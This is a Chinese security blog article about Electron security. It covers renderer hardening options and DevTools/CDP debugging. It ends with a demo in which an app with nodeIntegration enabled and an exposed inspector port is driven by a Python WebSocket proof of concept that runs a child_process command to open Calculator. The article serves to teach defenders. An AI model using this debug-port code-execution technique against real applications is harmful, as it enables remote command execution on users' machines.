freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Electron引发的安全问题
2024-07-09 17:08:44

Electron工具介绍

Electron 是一个开源框架,用于构建跨平台的桌面应用程序。它由 GitHub 开发和维护,通过将 Chromium(谷歌的开源浏览器项目)和 Node.js(一个 JavaScript 运行时)结合在一起,使开发者能够使用 HTML、CSS 和 JavaScript 等前端技术来创建桌面应用程序。

一些著名的应用程序,如 Visual Studio Code、Slack、GitHub Desktop 和 Atom 编辑器,都是使用 Electron 构建的。

Electron 特点

  1. 跨平台支持:Electron 应用可以在 Windows、macOS 和 Linux 上运行,只需编写一次代码即可在多个平台上部署。
  2. Web 技术栈:使用前端开发者熟悉的 HTML、CSS 和 JavaScript 来构建用户界面。
  3. Node.js 集成:可以使用 Node.js 提供的丰富的库和模块来实现后端功能。
  4. 自动更新:内置了自动更新功能,可以轻松地向用户推送新版本。
  5. 丰富的生态系统:由于 Electron 基于 Node.js 和 Chromium,可以利用大量现有的 JavaScript 库和工具。
  6. 强大的社区支持:Electron 拥有一个活跃的开发者社区,提供了大量的插件、教程和支持。

Electron 简单使用

使用Electron开源工具创建测试用例

main.js

const { app, BrowserWindow } = require('electron');

function createWindow () {
  const win = new BrowserWindow({
    width: 800,
    height: 600,
    webPreferences: {
      nodeIntegration: true
    }
  });

  win.loadFile('index.html');
}

app.whenReady().then(createWindow);

app.on('window-all-closed', () => {
  if (process.platform !== 'darwin') {
    app.quit();
  }
});

app.on('activate', () => {
  if (BrowserWindow.getAllWindows().length === 0) {
    createWindow();
  }
});

index.html

<!DOCTYPE html>
<html>
<head>
    <title>Hello Electron</title>
</head>
<body>
    <h1>Hello, Electron!</h1>
</body>
</html>

运行效果

1720514525_668cf7dd03a8b5558a094.png!small?1720514525973

Electron架构

Electron应用程序的架构主要分为两个进程:主进程(Main Process)和渲染进程(Render Process)。

  • 主进程(Main Process)
    • 负责控制应用的生命周期。
    • 可以创建和管理浏览器窗口。
    • 运行Node.js,能够访问Node.js的API。
    • 与操作系统进行交互(例如文件系统、原生菜单、通知等)。
    • 通过ipcMain模块与渲染进程通信。
  • 渲染进程(Render Process)
    • 每个浏览器窗口(或者标签页)都有一个独立的渲染进程。
    • 负责渲染HTML、CSS和JavaScript,类似于浏览器中的渲染进程。
    • 运行在沙盒环境中,默认情况下不能直接访问Node.js的API(可以通过预加载脚本和contextBridge来桥接)。
    • 通过ipcRenderer模块与主进程通信。

Electron Render

Electron Render进程是Electron框架中的一个重要组成部分,负责渲染页面和处理用户交互。每个Electron应用程序都包含一个或多个Render进程,用于展示应用的界面和处理与用户的交互。

Render进程是基于Chromium的渲染进程,可以使用HTML、CSS和JavaScript等前端技术来构建应用的界面和功能。Render进程与主进程之间通过Electron提供的IPC(进程间通信)机制进行通信,主要用于处理应用程序的逻辑和控制。

Render说明

在Electron中,渲染进程是通过创建一个BrowserWindow实例来开启的。每一个BrowserWindow实例都会创建一个独立的渲染进程,用于加载和显示HTML内容。

下面是详细的步骤和示例代码,展示如何开启一个渲染进程。

main.js

const { app, BrowserWindow } = require('electron');
const path = require('path');

function createWindow() {
  // 创建一个新的浏览器窗口
  const mainWindow = new BrowserWindow({
    width: 800,
    height: 600,
    webPreferences: {
      preload: path.join(__dirname, 'preload.js'), // 预加载脚本
      nodeIntegration: false, // 出于安全考虑,通常禁用Node.js集成
      contextIsolation: true  // 启用上下文隔离
    }
  });

  // 加载index.html文件
  mainWindow.loadFile('index.html');

  // 打开开发者工具
  mainWindow.webContents.openDevTools();
}

// 当应用准备就绪时,创建窗口
app.on('ready', createWindow);

// 当所有窗口都被关闭时,退出应用
app.on('window-all-closed', () => {
  if (process.platform !== 'darwin') {
    app.quit();
  }
});

// 当应用被激活时(例如在macOS上单击dock图标),重新创建窗口
app.on('activate', () => {
  if (BrowserWindow.getAllWindows().length === 0) {
    createWindow();
  }
});

preload.js

const { contextBridge, ipcRenderer } = require('electron');

// 在渲染进程中暴露安全的API
contextBridge.exposeInMainWorld('api', {
  send: (channel, data) => {
    ipcRenderer.send(channel, data);
  },
  receive: (channel, func) => {
    ipcRenderer.on(channel, (event, ...args) => func(...args));
  }
});

index.html

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>My Electron App</title>
</head>
<body>
  <h1>Hello, Electron!</h1>
  <button id="myButton">Click me</button>
  
  <script src="renderer.js"></script>
</body>
</html>

查看效果

1720514684_668cf87c8aa9b281df012.png!small?1720514685784

Render安全性

每一个BrowserWindow实例都有一个独立的渲染进程。当窗口被创建时,渲染进程启动;当窗口被关闭时,渲染进程终止。不同的窗口之间的渲染进程是相互隔离的,这有助于提高应用的稳定性和安全性。

由于渲染进程可以加载并执行任意的Web内容,因此需要注意安全性问题。Electron提供了一些安全实践来帮助开发者保护他们的应用,例如:

  • 启用内容安全策略(CSP):限制可以加载和执行的内容。

在HTML文件中添加CSP头或标签来限制可执行的资源

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'; style-src 'self';">
  • 禁用Node.js集成:通过webPreferences中的nodeIntegration设置,防止在渲染进程中直接使用Node.js API。
  • 使用上下文隔离:通过webPreferences中的contextIsolation设置,确保在预加载脚本和页面脚本之间隔离上下文。

配置项如下:

webPreferences: {
    nodeIntegration: false, // 出于安全考虑,禁用Node.js集成
    contextIsolation: true  // 启用上下文隔离
}
  • 启用沙盒模式,进一步隔离渲染进程,防止其访问敏感资源。
new BrowserWindow({
  webPreferences: {
    sandbox: true
  }
});
  • 如果必须使用webview标签,确保启用安全选项,如nodeIntegration和preload设置。
<webview src="https://example.com" nodeintegration="false" preload="preload.js"></webview>
  • 通过webContents的will-navigate和new-window事件,限制窗口导航到不受信任的URL。
mainWindow.webContents.on('will-navigate', (event, url) => {
  if (!url.startsWith('https://trusted-domain.com')) {
    event.preventDefault();
  }
});

mainWindow.webContents.on('new-window', (event, url) => {
  if (!url.startsWith('https://trusted-domain.com')) {
    event.preventDefault();
  }
});
  • 远程模块允许渲染进程调用主进程的方法,可能带来安全风险。建议禁用该模块。
new BrowserWindow({
  webPreferences: {
    enableRemoteModule: false
  }
});

还有一些安全措施防范,如自动更新、验证和清理用户的输入、使用安全的第三方库等等。

DevTools

DevTools(开发者工具)是一组内置在谷歌浏览器中的工具,旨在帮助开发者调试、分析和优化网站和Web应用程序。它们提供了丰富的功能,支持前端开发和调试的各个方面。

  • 元素(Elements):查看和编辑 HTML 和 CSS。
  • 控制台(Console):运行 JavaScript 代码,查看日志和错误信息。
  • 网络(Network):检查网络请求和响应,分析加载性能。
  • 性能(Performance):记录和分析页面性能,查找瓶颈。
  • 应用程序(Application):查看和管理浏览器存储(如 Local Storage、Session Storage、Cookies)。
  • 安全(Security):检查页面的安全信息,如 HTTPS 证书。
  • 内存(Memory):分析内存使用情况,查找内存泄漏。
  • 来源(Sources):查看和调试 JavaScript 代码,设置断点。1720514877_668cf93d9e68e134e7b69.png!small?1720514878050

CDP协议

CDP(Chrome DevTools Protocol,Chrome 开发者工具协议)是一种用于调试和自动化 Chrome 浏览器的协议。它提供了一组 API,使开发者能够与 Chrome 浏览器进行通信,执行调试、性能分析、DOM 操作、网络监控等操作。CDP 是 Chrome DevTools 的底层协议,但它也被其他工具和框架(如 Puppeteer 和 Selenium)广泛使用,以实现浏览器自动化和测试。

CDP主要功能

  1. 调试 JavaScript:设置断点、单步执行代码、查看和修改变量等。
  2. 操作 DOM:查询、修改、删除 DOM 元素。
  3. 网络监控:捕获和分析网络请求和响应。
  4. 性能分析:记录和分析页面性能,查找瓶颈。
  5. 安全检查:检查页面的安全信息,如 HTTPS 证书。
  6. 截屏和录屏:捕获页面截图或录制页面交互。

如何使用CDP

您可以通过多种方式使用 CDP,包括直接使用 WebSocket 连接、借助 Puppeteer 等库,或者通过 Chrome DevTools 本身。

方式一:直接使用 WebSocket 连接

  1. 启动 Chrome 并启用远程调试端口:

chrome --remote-debugging-port=9222

  1. 连接到 Chrome DevTools 协议:

您可以使用 WebSocket 客户端(如 ws Node.js 库)连接到ws://localhost:9222/。

  1. 发送和接收 CDP 命令:

通过 WebSocket 发送 JSON 格式的命令,并接收响应。

方式二:使用 Puppeteer

Puppeteer 是一个 Node.js 库,提供了一个高级 API 来控制 Chrome 或 Chromium 浏览器,内部使用了 CDP。以下是一个简单的示例:

使用 Puppeteer 执行浏览器操作:

const puppeteer = require('puppeteer');

(async () => {
  const browser = await puppeteer.launch();
  const page = await browser.newPage();
  await page.goto('https://example.com');

  // 截取页面截图
  await page.screenshot({ path: 'example.png' });

  // 获取页面标题
  const title = await page.title();
  console.log(`Title: ${title}`);

  await browser.close();
})();

Electron调试

代码或者命令启动

在 Electron 中打开调试端口可以通过多种方式实现,主要包括使用命令行参数和在代码中进行设置。以下是详细的步骤和示例代码:

方法一:使用命令行参数

  1. 在命令行中启动 Electron 并打开调试端口

您可以通过在命令行中启动 Electron 应用时添加 --inspect 或 --inspect-brk 参数来打开调试端口:

--inspect=:直接启动并监听指定的调试端口。

--inspect-brk=:启动并在第一行代码处暂停,等待调试器连接。

例如,您可以在命令行中运行以下命令来启动 Electron 应用并打开调试端口 9229:

electron --inspect=9229 .

或者,如果您希望在第一行代码处暂停:

electron --inspect-brk=9229 .

  1. 在 package.json 中配置 npm 脚本

您可以在 package.json 文件中配置一个 npm 脚本,以便通过 npm start 命令启动应用并打开调试端口:


{ "name": "hello-electron", "version": "1.0.0", "main": "main.js", "scripts": { "start": "electron --inspect=9229 ." } }

方法二:在代码中设置调试端口

您也可以在代码中通过编程方式设置调试端口。以下是一个示例代码:

const { app, BrowserWindow } = require('electron');
const process = require('process');

let mainWindow;

function createWindow() {
  mainWindow = new BrowserWindow({
    width: 800,
    height: 600,
    webPreferences: {
      nodeIntegration: true
    }
  });

  mainWindow.loadFile('index.html');

  mainWindow.on('closed', function () {
    mainWindow = null;
  });
}

app.on('ready', () => {
  // 打开主进程调试端口
  if (!process.env.ELECTRON_INSPECT) {
    process.env.ELECTRON_INSPECT = 'true';
    process.env.NODE_OPTIONS = '--inspect=9229';
  }

  createWindow();
});

app.on('window-all-closed', function () {
  if (process.platform !== 'darwin') {
    app.quit();
  }
});

app.on('activate', function () {
  if (mainWindow === null) {
    createWindow();
  }
});

连接调试器

打开调试端口后,可以使用 Chrome DevTools 或其他支持 V8 Inspector Protocol 的调试工具连接到主进程。以下是如何使用 Chrome DevTools 连接到调试端口的步骤:

打开 Chrome 浏览器。

在地址栏输入 chrome://inspect 并回车。

应该在列表中看到您的 Electron 应用,点击 "inspect" 链接即可打开调试工具。

1720515129_668cfa397b7dd116a7429.png!small?1720515129970

Node API启动

使用 process._debugProcess 方法来打开 Electron 主进程的调试端口是一种较为底层的方式,通常不推荐。

process._debugProcess 方法是 Node.js 的内部 API,使用它可能会导致应用程序的不稳定

示例代码

以下是一个示例,演示如何使用 process._debugProcess 方法来打开 Electron 主进程的调试端口:

const { app, BrowserWindow } = require('electron');
const process = require('process');

// 打开主进程调试端口
process._debugProcess(process.ppid);

let mainWindow;

function createWindow () {
  mainWindow = new BrowserWindow({
    width: 800,
    height: 600,
    webPreferences: {
      nodeIntegration: true
    }
  });

  mainWindow.loadFile('index.html');

  mainWindow.on('closed', function () {
    mainWindow = null;
  });
}

app.on('ready', createWindow);

app.on('window-all-closed', function () {
  if (process.platform !== 'darwin') {
    app.quit();
  }
});

app.on('activate', function () {
  if (mainWindow === null) {
    createWindow();
  }
});

Electron安全风险

根据上面提到的内容,如果在没有禁止Node.js集成的情况下,可以通过获取websocket的连接地址连接Devtools,然后process._debugProcess(process.ppid)打开Electron主进程的调试端口,在Electron主进程中执行命令代码

漏洞演示

main.js

const { app, BrowserWindow } = require('electron');
const path = require('path');

let mainWindow;

function createWindow() {
    mainWindow = new BrowserWindow({
        width: 800,
        height: 600,
        webPreferences: {
            nodeIntegration: true,
            contextIsolation: false
        }
    });

    mainWindow.loadFile('index.html');

    // 打开开发者工具
    mainWindow.webContents.openDevTools();

    mainWindow.on('closed', function () {
        mainWindow = null;
    });
}

// 捕获未捕获的异常
process.on('uncaughtException', (error) => {
    console.error('Uncaught Exception:', error);
});

app.on('ready', createWindow);

app.on('window-all-closed', function () {
    if (process.platform !== 'darwin') {
        app.quit();
    }
});

app.on('activate', function () {
    if (mainWindow === null) {
        createWindow();
    }
});

启动Electron

1720515273_668cfac96c89bfc84148c.png!small?1720515274292

获得ws连接地址http://localhost:9229/json,可以通过脚本获取,因为这里是本地执行,就在浏览器里获得

1720515288_668cfad890bc1884d3f06.png!small?1720515289124

编写poc脚本执行命令


import asyncio

import websockets

import json


async def connect_and_execute():

# 替换为从 http://localhost:9229/json 获取的实际 WebSocket URL

uri = "ws://localhost:9229/<Your-Id>"


async with websockets.connect(uri) as websocket:

# Enable Runtime domain

await websocket.send(json.dumps({

"id": 1,

"method": "Runtime.enable"

}))

response = await websocket.recv()

print(f"Response: {response}")

# 本地演示默认就开了debug,就不需要开了

# Execute process._debugProcess(process.ppid)

# expression = 'process._debugProcess(process.ppid);'

# await websocket.send(json.dumps({

#   "id": 2,

#   "method": "Runtime.evaluate",

#   "params": {

#     "expression": expression

#     }

# }))

# response = await websocket.recv()

# print(f"Response: {response}")

# Execute arbitrary Node.js code to open Calculator

arbitrary_code = 'require("child_process").exec("open -a Calculator")'

await websocket.send(json.dumps({

"id": 2,

"method": "Runtime.evaluate",

"params": {

"expression": arbitrary_code,

"returnByValue": True,

"includeCommandLineAPI":True

}

}))

response = await websocket.recv()

print(f"Response: {response}")


# Replace <your-page-id> with the actual page ID from http://localhost:9229/json asyncio.get_event_loop().run_until_complete(connect_and_execute())

运行效果

1720515641_668cfc39e3bb0c923a970.png!small?1720515643648

总结

当发现一个二次开发的前端编辑器,如果是基于Electron进行开发,并且没有禁止Node.js集成使用,就可能会存在远程命令执行的问题。

----------------------------------------------------------------------------------------------------

本文作者:平安@涂鸦智能安全实验室


# 漏洞 # 漏洞分析
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录